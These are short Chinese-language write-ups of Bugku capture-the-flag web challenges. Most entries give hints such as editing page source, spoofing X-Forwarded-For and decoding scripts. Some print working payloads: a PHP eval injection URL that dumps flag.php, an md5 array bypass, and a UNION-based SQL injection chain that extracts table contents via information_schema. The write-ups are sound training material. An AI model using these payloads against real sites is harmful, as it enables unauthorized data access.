1.web2
按F12
2.
发现框里面只能输一个数字,按F12,把maxlength改成3,再在框里输入计算后的正确结果
3.web基础$_GET
?后面是传递的参数。
格式为:网页?参数名=参数值
4。web基础$_POST
和上题类似
5.矛盾
题目
查一下is_numeric函数
则num既不能是数字字符,但是又要等于1
想到用科学计数法表示数字1,既不是纯数字,其值又等于1
6.web3
查看源码发现
KEY{J2sa42ahJK-HS11III}
html解码即可
7.域名解析
题目:听说把 flag.bugku.com 解析到123.206.87.240 就能拿到flag
【域名解析是把域名指向网站空间IP,让人们通过注册的域名可以方便地访问到网站的一种服务。IP地址是网络上标识站点的数字地址,为了方便记忆,采用域名来代替IP地址标识站点地址。域名解析就是域名到IP地址的转换过程。】
域名解析需要修改hosts文件
打开c:\windows\system32\drivers\etc\hosts
如果提示没有权限,可以参考http://www.cnblogs.com/ECJTUACM-873284962/p/8858384.html
修改保存后
8.你必须让他停下
打开网页后一直刷新,用bp抓包,Repeater Go很多次后发现
8.本地包含
include (或 require)语句会获取指定文件中存在的所有文本/代码/标记,并复制到使用 include 语句的文件中。
include“flag.php”说明该文件在本地
第二句话要获得hello的值,由于hello为’hello’,所以无论在url栏中对hello赋任何值,都可以接受, 其中var_dump()是将a打印到界面中,在根据eval函数的特性(计算后面括号中的表达式)
根据这一特性,我们尝试将flag.php文件直接输出
构造如下:http://120.24.86.145:8003/?hello=1);print_r(file("./flag.php"));%23
方法二:
另外一种方法是直接对hello赋值为hello=file_get_contents('flag.php')
然后查按F12可以知道flag
10.变量1
参考https://blog.csdn.net/Wu000999/article/details/82319921
11.web5
查看源代码发现一大堆
([][(![]+[])[+[]]
联系题目是js编码,放到谷歌浏览器的控制台里运行
16.头等舱
直接抓包
17.网站被黑
https://blog.csdn.net/qq_26090065/article/details/81571326?utm_source=blogxgwz0
18.管理员系统
查看源代码,发现dGVzdDEyMw==,base64得test123
注意题目本地管理员,伪装成本地访问
改包:Headers中增添 X-Forwarded-For : 127.0.0.1
19.web4
题目提示查看源代码,发现
var p1 = '%66%75%6e%63%74%69%6f%6e%20%63%68%65%63%6b%53%75%62%6d%69%74%28%29%7b%76%61%72%20%61%3d%64%6f%63%75%6d%65%6e%74%2e%67%65%74%45%6c%65%6d%65%6e%74%42%79%49%64%28%22%70%61%73%73%77%6f%72%64%22%29%3b%69%66%28%22%75%6e%64%65%66%69%6e%65%64%22%21%3d%74%79%70%65%6f%66%20%61%29%7b%69%66%28%22%36%37%64%37%30%39%62%32%62';
var p2 = '%61%61%36%34%38%63%66%36%65%38%37%61%37%31%31%34%66%31%22%3d%3d%61%2e%76%61%6c%75%65%29%72%65%74%75%72%6e%21%30%3b%61%6c%65%72%74%28%22%45%72%72%6f%72%22%29%3b%61%2e%66%6f%63%75%73%28%29%3b%72%65%74%75%72%6e%21%31%7d%7d%64%6f%63%75%6d%65%6e%74%2e%67%65%74%45%6c%65%6d%65%6e%74%42%79%49%64%28%22%6c%65%76%65%6c%51%75%65%73%74%22%29%2e%6f%6e%73%75%62%6d%69%74%3d%63%68%65%63%6b%53%75%62%6d%69%74%3b';
eval(unescape(p1) + unescape('%35%34%61%61%32' + p2))
按照格式去解码,得到function checkSubmit(){var a=document.getElementById("password");if("undefined"!=typeof a){if("67d709b2b54aa2aa648cf6e87a7114f1"==a.value)return!0;alert("Error");a.focus();return!1}}document.getElementById("levelQuest").onsubmit=checkSubmit
然后提交67d709b2b54aa2aa648cf6e87a7114f1,得到flag
20.flag在index里
参考https://blog.csdn.net/wy_97/article/details/77431111
21.输入密码查看flag
直接爆破
22.点击一百万次
查看源代码,用POST提交clicks=1000000得到flag
23.备份是个好习惯
观察题目,说备份是个好习惯猜测应该与备份有关
小知识:
备份文件一般情况是在后缀名后加的*.swp,*.bak
http://120.24.86.145:8002/web16/ 默认访问的是该路径的index.php文件
访问http://120.24.86.145:8002/web16/index.php.bak 得到
整段代码的意思是将get的两个参数中的key替换为空(这里可以用kekeyy绕过),然后对key1,key2的值进行md5加密,并进行比较,要求key1和key2的md5值相等,但是值不相等,出去flag
绕过方法:md5()函数无法处理数组,如果传入的为数组,会返回NULL,所以两个数组经过加密后得到的都是NULL,也就是相等的
24.成绩单
在框中一直输入数字,自导为4时没有数据显示
0' union select 1,2,database(),4#
得到数据库名为 skctf_flag
0' union select 1,2,group_concat(table_name),4 from information_schema.tables where table_schema='skctf_flag'#
得到表名 fl4g,sc
0' union select 1,2,group_concat(column_name),4 from information_schema.columns where table_name='fl4g'#
得到字段名skctf_flag
0' union select 1,2,skctf_flag,4 from fl4g#
得到flag